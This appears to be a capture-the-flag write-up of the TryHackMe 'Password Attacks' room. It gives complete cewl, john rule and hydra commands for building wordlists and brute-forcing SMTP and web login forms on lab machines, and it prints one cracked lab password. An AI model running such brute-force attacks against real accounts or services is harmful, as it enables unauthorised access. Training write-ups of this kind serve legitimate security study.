# Password Attacks

**Room Link:** <https://tryhackme.com/room/passwordattacks>

## Deploy the VM

Creating a wordlist from this site as recommend in the room.

**Kali**

```
cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/  
```

## Offline Attacks

**In this question, you need to generate a rule-based dictionary from the wordlist clinic.lst in the previous task. email: <pittman@clinic.thmredteam.com> against 10.10.131.68:25 (SMTP).**

**What is the password? Note that the password format is as follows: \[symbol]\[dictionary word]\[0-9]\[0-9].**

#### **john.conf**

```
[List.Rules:THM-Password-Attacks]
Az"[0-9][0-9]" ^[!@#$]
```

**Kali**

```
john --wordlist=clinic.lst --rules=THM-Password-Attacks --stdout > dict.lst
hydra -l pittman@clinic.thmredteam.com -P dict.lst smtp://$VICTIM:25 -v
```

Answer is !multidisciplinary00

**Perform a brute-forcing attack against the phillips account for the login page at <http://10.10.130.199/login-get> using hydra? What is the flag?**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkP3yVe5gcrm2cQaE6lxC%2Fimage.png?alt=media&#x26;token=8815fdaf-3a82-48ac-833c-a2ac7dae18f8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYDC32UmISNJQkguogs9E%2Fimage.png?alt=media&#x26;token=3daaa0f3-3ce7-40f9-906d-9fee6007ee3f" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -l phillips -P ../dict.lst 10.10.130.199 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fcez1gSY2RC4sS3Xyvjnr%2Fimage.png?alt=media&#x26;token=5bf16c87-14d5-4dce-b718-67e7050e7b6e" alt=""><figcaption></figcaption></figure>

\
**Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: <http://10.10.130.199/login-post/>. What is the flag?**

**Note: use the clinic.lst dictionary in generating and expanding the wordlist!**

**Kali**

```
john --wordlist=clinic.lst --rules=Single-Extra --stdout > dict2.lst

./hydra -l burgess -P dict2.lst 10.10.130.199 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRJItl2op99RktJ9Tcyid%2Fimage.png?alt=media&#x26;token=4365e8d4-60c6-4bbf-ae53-ca919fa55233" alt=""><figcaption></figcaption></figure>
